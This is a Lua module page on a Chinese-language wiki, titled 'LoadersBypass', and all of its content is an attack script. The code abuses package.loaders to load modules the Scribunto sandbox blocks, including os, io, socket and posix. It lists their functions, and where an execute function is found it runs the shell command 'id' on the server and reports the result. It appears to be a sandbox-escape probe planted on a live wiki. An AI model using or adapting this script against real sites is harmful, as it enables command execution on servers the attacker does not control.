模块:LoadersBypass

来自希服维基

可在模块:LoadersBypass/doc创建此模块的帮助文档

local p = {}
function p.test()
    local results = {}

    if type(package.loaders) == "table" then
        results[1] = "loaders_count: " .. #package.loaders

        -- Try each loader with various module names
        local mods_to_try = {"os", "io", "lfs", "socket", "posix"}

        for _, modname in ipairs(mods_to_try) do
            for i, loader in ipairs(package.loaders) do
                local ok, fn = pcall(loader, modname)
                if ok and type(fn) == "function" then
                    local ok2, mod = pcall(fn, modname)
                    if ok2 and type(mod) == "table" then
                        local funcs = {}
                        for k, v in pairs(mod) do
                            if type(v) == "function" then
                                funcs[#funcs+1] = k
                            end
                        end
                        results[#results+1] = modname .. "_L" .. i .. ": " .. table.concat(funcs, ",")
                        if mod.execute then
                            results[#results+1] = "*** EXECUTE FOUND: " .. modname .. " in loader " .. i .. " ***"
                            local ok3, ret = pcall(mod.execute, "id 2>&1")
                            results[#results+1] = "exec_" .. modname .. "=" .. tostring(ok3) .. ":" .. tostring(ret)
                        end
                    end
                end
            end
        end
    end

    return table.concat(results, " | ")
end
return p